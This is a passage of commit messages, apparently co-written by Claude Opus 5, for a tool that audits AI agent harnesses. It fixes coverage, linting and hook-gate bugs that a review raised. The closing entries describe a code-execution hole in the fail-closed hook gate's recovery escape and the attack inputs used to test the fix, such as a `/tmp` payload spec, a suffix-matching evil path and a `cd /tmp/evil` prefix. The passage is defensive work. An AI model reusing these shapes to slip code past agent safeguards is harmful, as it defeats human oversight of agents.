"skip anything starting with -" would hand the hole straight back. The verb must
then be the NEXT word (the CLI reads `args[0]`), modulo the `--` a runner needs.
Both halves are asserted, unit and end-to-end: every documented launch form
still escapes the wedge — a fix that shuts the author out re-wedges the repo
with no way back, which is the defect the escape exists for.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(scan): skill→skill ref checking was a no-op in every `skills/` plugin
`loaded.files` is keyed by the CANONICAL materialized key — a plugin shipping
`skills/foo/SKILL.md` is loaded under `.claude/skills/foo/SKILL.md` — while
`ScanSkill.path` is the REAL on-disk path (the E1 remap). The report looked
contents up by the latter, so in the ordinary published-plugin layout every
lookup returned `undefined` and every skill was dropped before the check ran.
Measured 2026-08-11 on one fixture, moved between the two roots with
byte-identical content: 2 broken refs reported under `.claude/skills/`, 0 under
`skills/`. This repo's own skills live under `skills/`, so the check has never
run on the flagship either — a checker that is present and finds nothing, which
is the failure class the tool exists to catch in other people's harnesses.
Build the sources from the canonical keys instead (`skillRefSources`), remapping
only the path that goes in the MESSAGE, so a finding still names a file the
reader can open. Both report builders, since the parity gate holds them
together.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): an ambiguous probe granted execution coverage to the copy that did not run
When two discovered surfaces share a name — a skill shipped at `skills/foo/` and
overridden at `.claude/skills/foo/` — a transcript reference `plugin:foo`
resolved to BOTH, and `recordsFrom` wrote a record for each. Exactly one of them
ran, so the shadowed copy was credited with execution coverage it never earned
and the artifact asserted something false.
Returning both was documented as the conservative choice; it is the opposite.
Dropping loses a real record for the copy that did run — recording both INVENTS
one, which is the substitution this whole tier exists to remove, and it
contradicts the rule the tier already follows for a ref it cannot resolve.
The command branch had the same hole through its basename fallback, plus one of
its own: the three shapes it accepts OVERLAP, so with both hooks discovered the
fully-qualified ref `.claude/hooks/pre.sh` was an exact match for one and a
`/`-suffix match for the other. They are now a ladder — exact, then suffix
(longest surface path wins), then basename — consulted top-down, so a precise
ref stays precise and only a genuinely ambiguous one drops.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a `./`-spelled run could not retract what the bare spelling recorded
The retraction set added yesterday keys records by the script that wrote them,
and `norm()` only swapped separators — so the same file spelled two ways was two
keys. `discoverScripts` passes an argument naming an existing file through
VERBATIM and only globs otherwise, so `t.harness.mjs` (glob) and
`./t.harness.mjs` / an absolute path (typed) are all ordinary spellings that
reach `by` as written.
Measured 2026-08-12 on the two-hook fixture:
vigiles test → record `by: t.harness.mjs`
(empty the harness)
vigiles test ./t.harness.mjs → `hooks/a.sh` still "1 MEASURED BY A RUN"
That record never expires either: freshness is keyed to the SURFACE's text,
which rewriting the test does not touch — the exact "false coverage that cannot
go stale" this tier exists to remove, re-entered through the spelling.
The same split has a second symptom on the merge key: running once by
`./t.harness.mjs` and once by the default glob left TWO records for one script.
So both keys go through `canonicalScript` — fixing only the retraction would
have left the duplicate standing.
`canonicalScript` collapses separators, `./` and `..`, and relativises an
absolute path when the caller can say where the repo root is (`recordRunCoverage`
can, and now does). Relativising from a fixed root is injective, so two different
files can never collapse onto one key — an absolute and a relative spelling meet
only when they name the same location. A first draft carried a guard keeping
escaping paths absolute; mutating it away changed no test because it could not,
so it was removed rather than shipped as decoration.
Both halves are covered at both levels: unit (`./`, absolute, `..`, one-record
merge) and end-to-end through the real CLI, plus the quiet half — a DIFFERENT
script, and an unrelated absolute path, still retract nothing.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): the edit-time nudge ignored the `untested-*` config its own linter obeys
`evalLockNudgeHookCommand` called the coverage detector with `basePath` alone, so
it read the DEFAULTS whatever `.vigilesrc.json` said. Measured 2026-08-12 through
the real built CLI on two fixtures:
rules: { "untested-skill": false }
lint → prints nothing
nudge → "nothing measures whether it still does what it claims"
rules: { "untested-skill": ["warn", { testGlobs: ["**/*.check.mjs"] }] }
lint → "all 1 surface(s) have a test or eval"
nudge → "no test or eval covers it"
A hook that contradicts the linter of the same repo, in the same second, is worse
than one that says nothing: it teaches the agent that both are noise. And a rule
the author explicitly switched off must not come back through a hook.
The config reading is extracted into `untestedRules`, now the ONE reader for both
callers, so the two cannot drift again: per-kind severities (a kind set to
`false` arrives as `skills: false` and is not scanned) plus the shared
discovery options merged from whichever of the three rules carries them.
No separate "is anything enabled" gate at the nudge: the disable already travels
inside the options, and a mutation removing that second gate passed every test —
i.e. it would have been a branch nothing could distinguish from its absence.
Tests drive the real CLI's PostToolUse entry point and assert lint and the nudge
AGREE in both directions — a configured `testGlobs` that ADDS coverage, and an
`exclude` that removes it — with the no-config control so a fix that merely
silenced the hook cannot pass.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(eval): the `node --test` guard entry was a path that cannot exist
The runner table carried `["node --test", ["node_modules/.bin/node--test"]]`,
added by analogy with the npx-installed runners and never measured. Node's test
runner is a FLAG on node, not an installed binary, so nothing under
`node_modules/.bin/` can appear in `argv[1]` — the entry could not fire under any
invocation. The paid tier stayed reachable from `node --test` for the whole life
of the guard, while the table read as though it were covered: a legacy harness
named `*.test.mjs` (a name Node's own default patterns collect) spent real model
calls on every push.
Measured 2026-08-12 (Node 22.22, a fixture printing its own process facts):
node --test foo.test.mjs
argv[1] = /abs/foo.test.mjs ← the TEST FILE, no runner in sight
execArgv = []
NODE_TEST_CONTEXT = child-v8 ← the only signal
node --test --experimental-test-isolation=none foo.test.mjs
execArgv = ["--test", …]
NODE_TEST_CONTEXT = undefined ← in-process: no child, no var
So the two modes need two different facts, and both are read.
This is NOT the `process.env.VITEST` idiom this file rejects. `VITEST` is a
user-visible convention that can sit in a `.env` or a CI job for unrelated
reasons — a guard reading it fires on correct input. `NODE_TEST_CONTEXT` is set
by NODE ITSELF in the child it spawns, and `execArgv` is the flag list node was
launched with (`--test` is refused inside `NODE_OPTIONS` — verified). The
distinction is recorded at the site so the next reader does not "fix" it back.
The other four entries were re-measured the same way and are all live — vitest
(forks and threads workers), jest (`.bin/jest`, jest-worker), mocha (`.bin/mocha`
and, under `--parallel`, `mocha/lib/nodejs/worker.js`), ava
(`ava/lib/worker/base.js`). Only the invented one was dead, and it is gone.
The test is END-TO-END: a real `node --test` over a file that calls the real
`spawnAgent`, in both isolation modes, plus the quiet half — a plain
`node foo.eval.mjs` against the REAL process facts is still not refused. A unit
test written from the same wrong belief would have agreed with the dead entry.
The child runs with an empty `PATH`, so a regression fails the test instead of
billing for it.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(eval): probe for `--experimental-test-isolation=none` instead of assuming it
CI went red on a runner that cannot reach the branch the test covers: the flag
landed in Node 22, CI runs Node 20, and there it is not ignored but rejected —
`bad option`, exit 9 — so the assertion failed on a version mismatch rather than
on the guard.
Probed by asking the binary (`node --experimental-test-isolation=none -e ""`),
not by comparing versions: a version check works today and rots the moment the
flag is renamed or promoted out of experimental. Asking cannot rot.
The skip is LOUD — it prints which node it saw and which half of the guard still
ran. A quietly-skipped test is the exact failure this branch exists to remove:
silence that reads like a pass. Verified by forcing the probe to false: 2 passed,
1 skipped, warning printed; control run 3 passed.
The NODE_TEST_CONTEXT half — the one that matters for the default `node --test`
invocation — runs everywhere.
* fix(scan): a `*.test.*` under a surface dir is not proof it drives an agent
The foreign-runner check reported every test-looking file below a harness
surface dir and told its author to rename it to `*.harness.mjs`. On the author's
own repo that hit
`.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — an offline test
of a pure reducer: no model, no network, not one vigiles import. Following the
advice would have taken a working test out of that repo's vitest run. That is
not noise, it is a harmful instruction.
The premise ("a harness test calls `runHarnessTest`/`measureTriggerRate`, which
spawn an agent") is true of harness tests and false of that file, and nothing
checked which one it was reading. The message had already been softened to a
class-level claim, which is the tell: softening the wording does not fix a false
positive; withholding the finding does.
So the premise is now measured per file. A finding needs evidence — the file
names an agent-driving vigiles API (`runHarnessTest`, `runEval`,
`measureTriggerRate`, `scriptModel`, …) or its name declares the paid tier
(`*.eval.*`) — and the message quotes that evidence back instead of describing
the class. `runHook` is deliberately NOT on the list: the no-capability tier
spawns no binary and bills nothing, so telling its author to rename is the same
bad advice one tier down.
`read` is a required parameter with no default. A default would be a silent
fallback to "assume it drives an agent" — the name-only rule again — and an
engine that forgot to pass one would reintroduce it with no compile error. Both
engines pass it (disk read / map lookup) and both treat unreadable as no
evidence, so the byte-parity gate still holds; the parity fixture regenerated
identically.
Verified on the real corpus: scanning `/home/user/mine` printed that warning
before and prints nothing after. Four mutations, each failing its own assertion:
drop the gate · count `runHook` · use `\b` instead of identifier lookaround ·
drop the eval-name evidence.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(trifecta): an explicit `disallowed-tools: []` is an attempt, not a missing line
The doc contract on `skillTrifectaIssue` already said the two states differ —
"an explicit empty list still denies nothing, but the message should not tell an
author who wrote the line that they didn't" — and the code then merged them in
one condition. Reproduced: a skill declaring `disallowed-tools: []` was reported
as "No `disallowed-tools:` line".
The damage is routing, not wording. `fence: "none"` is swept into the
whole-surface aggregate ("N of M skills declare no tool fence"), while
`"ineffective"` keeps a per-skill line. So the one author who reached for the
field and got nothing back was the only one who never got told about it, and the
sentence they did get sent them looking for something they had already written.
Grading is untouched: both remain `"advisory"` and count once toward
`trifectaExposure`. An empty fence has capability equal to no fence, so moving it
must not score worse — that is the non-monotonicity this detector was fixed for
once already.
Unreadable frontmatter still reports as `"none"`: a strict loader parses no
block, so whatever it appears to declare denies nothing. That is not an attempt.
The vendor FP-guard added here covers this and the foreign-runner change on the
five SHA-pinned real plugins — neither new branch may fire on any of them, so a
change to how one state is ROUTED cannot silently re-bucket a real corpus.
Mutations, each failing its own assertion: fold `[]` back into `"none"` · treat
unreadable frontmatter as an attempt.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): stop suggesting a `.ts` test this repo has no way to run
`testFileExt` answered "is this project TypeScript?" (a `tsconfig.json`, a
`typescript` dependency) and never asked "can anything here RUN a TypeScript
script?". `interpreterArgs` asks exactly that and refuses without `tsx` or Node's
native type stripping. On Node 20 — which this repo's own CI runs, 20.20.2 — a
project with a `tsconfig.json` and no local `tsx` was told to add
`foo.harness.ts`, and `vigiles test` then threw `Cannot run TypeScript test
script` on the file the finding had just asked for. A remedy the tool rejects is
worse than no finding: the author does the work and is told no.
The capability probe moves to `src/ts-runner-caps.ts` (harness-agnostic: it is a
fact about Node and `node_modules`, not about a harness) so the suggester and the
runner read ONE predicate and cannot drift apart again. `run-scripts.ts`
re-exports it, so every existing importer is unchanged.
`undefined` means nobody measured and does NOT downgrade — the browser engine has
no Node to ask, and a caller who never looked must not silently push every
TypeScript repo to `.mjs`. Only a measured `false` changes the answer. An
explicit `testExtension: "ts"` also survives: that field exists to disagree with
detection, and the author may be adding `tsx` in the same commit.
The wiring test simulates Node 20 by overriding
`process.allowedNodeEnvironmentFlags` (a configurable accessor) — without it the
whole gate is untestable on a dev box, since Node 22 strips types natively and
dropping the wiring breaks nothing until CI sees it. Four mutations, each failing
its own assertion: ignore the signal · treat unmeasured as incapable · let it
override an explicit config value · drop the wiring at the call site.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): three commands scanned every repo as Claude Code, and went quiet
`vigiles lint` threads `adapter.layout` into `findUntestedSurfaces`. Three other
callers of the same detectors passed a path alone and got `claudeCodeLayout` by
default:
- `skillTestNudge` (the PostToolUse nudge) — in a Codex repo whose surface is
`.codex/skills/foo/SKILL.md`, discovery returned ZERO surfaces, the edited
skill matched nothing, and the hook said nothing at all, while `lint` in the
same repo reported that skill untested.
- `resolveRecords` (`vigiles test` / `eval`) — resolution matches probes
against DISCOVERED surfaces, so an empty discovery silently dropped every
probe a successful run had earned, and execution coverage never appeared.
- `rankPlugins` (the multi-target `audit` branch) — found by grepping for the
shape of the first two. Single-target `audit` resolves the adapter properly;
the leaderboard branch did not, so a Codex plugin scanned as Claude Code has
fewer discoverable surfaces, nothing to deduct, and sorts UP the board.
None of the three FAILED. Each returned an empty set, and an empty scan reads as
a clean one — which is why the third existed at all.
One resolver now, `harnessLayoutFor`, with the same precedence lint/compile/audit
use (`--harness=` → config `harness` → detect). It does not throw: an unknown
harness name is a hard error where the user typed it, but a hook and a post-run
recorder must not turn a bad config key into a failed edit or a red test run.
`rankPlugins` detects PER DIRECTORY and ignores flag/config on purpose — those
describe the repo you are standing in, not the N vendored dirs being compared.
Covered behaviourally through the real built CLI (a Codex repo now gets the nudge
its own linter gives; a Codex repo stops being credited for a `.claude/` hook; a
Codex command surface is discovered by the board) with the quiet halves on real
input — the Claude Code fixtures still speak, and the SHA-pinned vendored plugins
score number-for-number what a direct Claude-Code scan gives.
Plus a source-level gate: every `findUntestedSurfaces`/`skillTestNudge` call in
`cli.ts` carrying a `basePath` must carry a `layout`. Brace-balanced argument
capture, not a line regex, so a `layout` in a nested object cannot satisfy it.
The fourth call site is the one nobody would write a behavioural test for.
Mutations, each failing its own assertion: drop the layout at each of the three
call sites (and the gate independently catches two of them).
Also inspected and left alone: `scan-behavioral.ts`'s selection-matrix and
stubbed-hook paths, which are gated to `harness === "claude-code"` and expose no
layout parameter to drop; and the site's in-browser demo, which passes the
default layout but also labels its own output `harness: "claude-code"`, so it is
scoped rather than wrong.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(coverage): stop asserting a TypeScript suggestion against whichever node ran the suite
CI went red on two assertions that pinned `.ts` while the capability gate they
were testing correctly answered `.mjs`. Both passed on a Node 22 dev box and
failed on CI's Node 20 — where TypeScript genuinely cannot be run and `.mjs` is
the right suggestion. The assertions were testing the runner, not the gate.
Two different fixes, because the two tests reach the capability differently:
- `test-coverage.test.ts` runs in-process, so the "capability restored" half now
SIMULATES support (`asNodeWithStripTypes`, the mirror of the existing
`asNode20`). Both directions are simulated, so each half is deterministic on
any host.
- `cli-untested-options.test.ts` spawns a real `node`, where the capability
cannot be simulated away. It now asserts the PROPERTY the test is actually
about — the suggested path is one THIS host can execute, and the nonsense
`rb` never reaches it — instead of pinning an extension.
Same lesson as the `--experimental-test-isolation=none` probe two hours earlier:
never assert a behaviour that depends on which node picked up the job. Recorded
in both files so the next author meets it where it bites.
2715 passed; the one failure is the pre-existing `a blocking Stop hook forces the
agent to keep working` (this environment's broken TLS proxy).
* fix(coverage): three checks accepted a NAME where a PROPERTY was required
All three are the same substitution, in three places: the presence of a token
taken for the presence of the thing the token names. Reported by Codex; each
reproduced before the fix.
1. `coverage-probe` attributed by TOKEN, not by POSITION. Any script-looking
word anywhere in a command — or anywhere in its env — minted an
execution-tier coverage record. So a passing harness that ran
`cat hooks/pre-edit.sh`, `cp hooks/pre-edit.sh …` or `grep -n x hooks/x.sh`
painted that hook COVERED BY A RUN, with a fresh timestamp, so it never
expired. The command is now PARSED (new `leafArgvSource` in bash-effects,
mvdan-sh) and only executable positions count: a leaf head that is itself a
script, the first non-flag operand of an interpreter, and the word after our
own `hook-runtime run-program`. The env is EXPANDED into the word that
references it instead of scanned alongside the command, so the documented
`runHook('"$GUARD"', …, { env })` idiom still attributes and a fixture path
in the env attributes nothing. A third-party runner shim's operand is an
accepted false negative, and it is named as one.
2. `foreign-runner-tests` accepted a MENTION as evidence of a CALL — a gate
added an hour earlier to fix a false positive, whose "evidence" was a
substring search. An import, a comment forbidding the call, a string
fixture and a mocked property each got the harmful "rename this test"
advice. Evidence is now a call site, found after a lexer blanks comments,
strings and template text. Regex literals are lexed too: the first draft
called them too rare to bother with, and the first real file checked
disproved it — a `.replace(/[.`"']/g, "")` opened a template that ran to
end-of-file and hid a real `measureTriggerRate({` fifty lines below.
3. `runsFromResults` wrote coverage for SKIPPED and VACUOUS runs. A script can
drive a hook and only then discover a missing capability and call `skip()`;
the probes are still attached, and the old deny-list let them through. Now
an allow-list: only `pass` writes. The retraction rule is deliberately NOT
symmetric and stays as it was — a skip must not delete a measurement taken
on a machine that had `claude` — and there is now an assert holding the two
apart so nobody "simplifies" them into one.
Every branch mutation-tested: 21 mutations, each failing its own assert. Four
survived at first and each bought a real test — `sh -c '…'` handed one word,
`xs[0] / a / b`, `split(/[/\\]/)`, and `$(cat cmd) hooks/x.sh`. The quiet halves
run on real input: 514 real source files for the lexer, this repo's own harness
command lines for the probe.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(untested): a third assertion pinned an extension to whichever node ran the suite
The control test asserted `.ts` unconditionally. It passes on a Node 22 dev box
and fails on CI's Node 20, where `.mjs` is the correct answer and the capability
gate is working — the same host-dependent shape already fixed twice in this file
and in the sibling suite.
Fixing it exposed a second, quieter hole: the two config tests configured `mjs`,
which on Node 20 is ALSO what detection produces, so they could not fail there —
they proved the option travelled only on a TypeScript-capable host. The
configured value is now chosen to differ from the detected one on every host
(`mjs` where detection says `.ts`, `cjs` where it says `.mjs`).
Both branches measured on real runtimes rather than reasoned about: Node 20
suggests `demo.eval.mjs` unconfigured and `demo.eval.cjs` when configured;
Node 22/24 take the TypeScript branch. Node 24 also checked for the underlying
predicate — `--experimental-strip-types` is still accepted there
(`process.features.typescript === "strip"`), so the capability probe stays correct.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: six review findings — three lexical shapes taken for the property they name
Codex review of `05131c3`/`2c78a2c`. All six reproduced before fixing; every fix
has a test with both halves (fires on a planted defect, quiet on clean input) and
was mutation-checked by reverting it.
1. foreign-runner-tests: a DEFINITION is not a call. After `stripNonCode`, a bare
`name\s*\(` matched `function runEval() {}` and `class Fake { runEval() {} }`,
so a surface-local test that merely declares a helper was told to rename
itself. Matches now go through `isCallSite` — a definition keyword before the
name, or a matching `)` followed by `{` (optionally past a TS return type).
Same substitution as the round before, one level in.
2. cli: `--harness=` never reached coverage discovery. It is a SHARED flag and
`resolveHarnessSelection` ranks it above config and auto-detect, but
`resolveRecords` called `harnessLayoutFor(cwd, loadConfig())` — so
`vigiles test --harness=codex` resolved this run's probes against the wrong
layout and silently recorded nothing.
3. coverage-probe: an option's VALUE is not the entry script. `node --loader tsx
hooks/x.ts` selected `tsx`; `node --require setup.js app.js` selected the
preload. Value-taking and no-script-at-all interpreter options are parsed
before the entry is chosen, without regressing "a script the command READS is
data" (`ruby -S` is deliberately excluded, `python -m` attributes nothing).
4. scan + plugin-loader: a directory symlink was followed. `.claude/skills/self
-> ..` made the LOADER throw `ELOOP` out of the whole audit, and made the
surface walk report every file once per lap (82 file keys instead of 3). One
shared `entryKind` (`fs-walk.ts`) now refuses to descend into a symlinked dir
— both walks, because fixing one of a pair has broken this repo before.
5. lethal-trifecta: the skill fence is a Claude Code mechanism. On a Codex repo
every skill was scored against Safety with the remedy "add `disallowed-tools:`"
— a key Codex does not read and our own compiler drops under its
`skillFrontmatter: "minimal"` profile. Gated on the dialect record that already
says this; no new capability flag.
6. doc-commands: fences are CommonMark's. Any `^\s*``` ` line toggled, so a
four-backtick block wrapping a ``` example closed early — commands in the tail
went unchecked and the prose after it was judged as commands. Delegated to
`core/markdown.ts` (markdown-it), which also brings `~~~`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(fs-walk): one stat answers both questions, so the dead catch is gone
CI's 100% coverage gate failed on `plugin-loader.ts` line 179 — the `catch` of a
second `statSync` used only for the size cap. The line is UNREACHABLE: the entry
was already classified as a file by a successful stat, so reaching that catch
needs the file to vanish between two consecutive calls. Covering it with a test
would have been mocking a race to satisfy a gate; the gate was right and the
construction was wrong.
`entryKind` becomes `entryOf`, returning the kind AND the size from the stat it
already performs. The loader compares the size it was handed, the second syscall
and its unreachable failure path are gone, and `scan.ts` destructures the kind it
already used. A non-file reports size 0 rather than something a size comparison
could accidentally accept.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: five review findings — four guarantees pinned on one side only
Every one is the same shape: a rule stated for one half of a pair and left
unstated for the other. Fixed with both-halves tests, each mutation-checked.
1. coverage-artifact — a record names TWO files, only one was pinned
The surface is hashed, the SCRIPT that did the executing was not, so a
deleted or renamed harness kept granting execution coverage forever:
freshness keys on the surface's text, and a file that is gone can never
re-enter the retraction set, so no future run can withdraw it. `indexRuns`
now counts a record only while BOTH files are present. Chose PRESENCE over
hashing the script: an emptied-but-present script is already retraction's
job (a `vacuous` re-run drops it), while one script legitimately covers many
surfaces — hashing would invalidate thirty records for one reformat and
cannot tell "strengthened" from "gutted". The `skip` asymmetry is untouched:
this deletes nothing, it is a read-time judgement about a checkout.
2. test-coverage-files — the browser twin hard-coded the name `"SKILL"`
A single-skill repo declaring `name: foo` was covered by `foo.harness.mjs`
on disk and untested in the file-map engine. Third divergence in this PR, so
the parser moved to the shared `coverage-evidence.ts` and both twins call it.
The parity gate missed it because no vendored fixture has a root SKILL.md —
the branch was executed by NEITHER engine. Closed with three built fixtures
(declared name, misnamed harness, no declaration) plus a correctness
assertion, since parity is agreement and not correctness.
3. foreign-runner-tests — `scriptModel` was intent, not property
Justified as "exists only to be handed to one of them" inside a list whose
warrant is that the CALL spawns an agent. Both implementations are pure (a
copied array; a closure). A surface-local test that only builds a scripted
model was told to rename itself out of its runner. No recall lost: a file
that scripts a model and runs it names the runner.
4. coverage-probe — one option table cannot hold two grammars
Measured: `python3 -I x.py` runs (consumes nothing), `ruby -I dir` consumes.
With `-I` shared, python's hook path was eaten and a passing run earned no
coverage. Tables are now per interpreter family, which also resolves `-E`
(python/ruby/perl disagree three ways) and `-p` instead of documenting it.
5. scan / plugin-loader — the symlink policy skipped every walk's entry point
Roots went straight to `readdirSync`, so `skills -> ..` re-entered the whole
checkout and both walks' containment promise held everywhere except the top.
A root gets a DIFFERENT rule from an inner entry, deliberately: a shared
skills dir linked in from outside is an ordinary layout, and refusing it
would silently report zero skills. So a root symlink is followed unless its
target CONTAINS the scanned root; everything below still goes through
`entryOf`, so exactly one hop is taken and cycles remain impossible by
construction. Applied at all four entry points.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (two
BELOW the 203 baseline — the plugin-loader refactor removed two); vitest
2759 passed with only the known environmental `harness-test` failure; coverage
100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: four review findings — one false grant, one table gap, two stale claims
Round ten. Smallest change per finding, no new case analysis: the two
regressions of the last rounds both came from a new table missing an entry, so
the one table touched here is completed from the vendor's own `--help` and the
one place that wanted a per-harness branch deliberately did not get one.
1. run-script — the coverage probe ran BEFORE the spawn (P1, false grant)
`runEgress` throws when the allowlist sandbox is missing, and
`runConfinedOrDirect` throws when confinement was required and bwrap is
absent. Both throw before any spawner. A harness asserting exactly that
refusal — `assert.throws(() => runHook(untrusted…))`, a documented test —
caught the error, exited 0 with a check recorded, and the runner wrote
execution coverage for a hook that never ran. The probe now follows the
spawner's return. LAUNCHED, not succeeded: exits 1 and 2 still attribute, and
the test loops over 0/1/2 so nobody tightens it to a zero exit. `recordCheck`
deliberately stays before — a refusal IS a check, and demoting it to
`vacuous` would retract that script's other records.
2. coverage-probe — bash `-O` ate the hook path
`bash -O extglob hooks/pre-edit.sh` selected `extglob`, which fails
SCRIPT_RE, so a hook that ran was attributed to nothing. How the shell entry
was decided complete is now in the comment: `bash --help` (5.2.21) prints the
whole invocation grammar, and its only value-takers are `-c`, `-O`/`+O`,
`-o`/`+o`, `--rcfile`/`--init-file`. The same enumeration surfaced five
parse-only flags (`-n -D --dump-strings --dump-po-strings --pretty-print`,
each verified against the real binary to print nothing) whose absence was a
false GRANT — the expensive direction — so they join `withoutScript` beside
node's `--check`. The whole-word limit (`bash -en x.sh`) is asserted rather
than described; it is pre-existing.
3. test-coverage — the firing nudge named an unrunnable remedy
Real, but NOT for the reason given: the cited `docs/harnesses.md` line is
itself stale (see 4). `codexEvalDriver` IS exported and in the API surface,
so the tier is reachable. The actual defect is worse than "cannot run":
`measureTriggerRate(spec)` falls back to the DEFAULT driver, so on a Codex
repo the old wording did not fail — it measured a different harness and
reported a number. The message now names `{ evalDriver }`. Deliberately not a
capability flag: that is the table-that-misses-an-entry shape this round
warned about, and the sentence is true for every harness, so there is no case
analysis and no fourth adapter to remember.
4. docs — `*.test.*` was still documented as feeding Tested (merge-blocking)
Swept every public surface, not just the file named: docs/cli.md (which
contradicted itself — line 89 already said `never *.test.*`),
docs/non-js-harnesses.md, and the metric's own comments in audit-score.ts,
scan.ts, test-coverage.ts and foreign-runner-tests.ts. Added an explicit
MIGRATION section to docs/rules/untested-skill.md: the rename spelled out
(`foo.test.mjs` -> `foo.harness.mjs`), and why a rename rather than pointing
`testGlobs` back — a third-party runner's defaults collect `*.test.*` and a
harness test spawns an agent, so restoring the number would keep the file
being collected and possibly spending model budget. Also corrected the stale
Codex line in docs/harnesses.md: trigger-rate IS public (experimental),
`runEval` genuinely is not (`runEvalWith` is unexported).
New `src/tested-metric-docs.test.ts` closes the class: a doc defect is not a
code defect and nothing could catch it. It asserts the behaviour against the
real detector (including that the prescribed rename works) AND greps the
corpus for the retired claim shape, quiet on all of it today and firing on
the verbatim pre-fix sentence.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (baseline);
vitest 2765 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): the recovery escape's OPERAND was the payload
Round 3 on the same door, and this time the shape was not the problem — the
door's contract was. The executable check from last round is correct; the
ARGUMENT was unconstrained. `vigiles compile /tmp/payload.spec.ts` reached
`compile`, which hands the operand to `loadSpec`, which `await import()`s the
dist candidate and, failing that, shells out to
`npx tsx -e 'import("<operand>")'` (verified by reading cli.ts, not assumed).
Arbitrary top-level code, executed by the fail-closed gate's own escape while
the gate is refusing everything else.
The design question, answered before the code (and written into the comment):
- The minimum repair is NOT always bare. Bare `vigiles compile` compiles what
the repo declares (`findSpecs()` + `discoverHookFiles(cwd)`), which is enough
for hooks under `.vigiles/hooks/` — but the product's own refusal messages
print `vigiles compile <file>`, and for a stale stamp on a hook outside that
dir the operand form is the only thing that repairs it. Forbidding all
operands would have rejected the command the tool just told the user to run,
which is how a gate gets disabled outright.
- So the escape takes zero or one operand, and the one must EQUAL the file the
runtime was invoked with (`hook-runtime run-program <file>`) — repo-owned
config from the compiled hooks block, never event data. The event can only
echo the one path the repo already named.
- "Inside the repo" was rejected explicitly as unsound: a checkout holds
attacker-writable paths in plenty of workflows, and `loadSpec` imports
whatever it is pointed at.
🔴 `samePathRef` is deliberately NOT reused. It matches by SUFFIX — correct for
the Edit escape, catastrophic here: `/tmp/evil/.claude/hooks/guard.hook.ts`
suffix-matches the reported hook and would have been imported. Grabbing the
nearby helper is how this door was widened before, so the operand gets its own
exact comparator. (The Edit escape's own use of `samePathRef` is left alone —
it writes a file rather than executing one, and the looseness is load-bearing
for absolute-vs-relative `file_path`. Noted, not changed.)
`isRecoveryEvent` gains an optional `hookFile`; absent, NO operand is accepted,
so a caller that cannot say which file is being repaired fails closed. `cli.ts`
threads the file it already has.
The recovery path is stated in the comment so nobody rediscovers it by trial
and error: copy the command the refusal prints · bare compile for
`.vigiles/hooks/` · `git merge --abort` for a broken load path · and Edit/Write
never go through the Bash gate at all.
Tests, both halves, in the unit tier AND against the real runtime
(`hook-load-wedge.test.ts`, where the previous two rounds were verified):
the reported payload shape is denied, so are the in-repo path, the suffix trap,
a smuggled second operand and a flag; every genuine recovery command still
passes. Pre-existing tests that used an operand were rewritten — several would
have kept passing for the wrong reason.
Four mutations, each failing on its own assertion: pre-fix (any argument) fails
the payload test in both tiers; too-strict (no operand ever) fails "or the repo
has no way out"; reusing `samePathRef` fails on the suffix trap.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201
warnings (baseline); vitest 2768 passed with only the known environmental
harness-test failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the executing escape instead of constraining it again
Round 5 on the same door. P1a (`/tmp/vigiles compile`) and P1b (`cd /tmp/evil &&
vigiles compile`) are both real — and I did NOT fix them as stated, because the
pattern says the constraint approach is wrong: `.some()` over leaves → the
operand → the executable path → the working directory, four correct fixes each
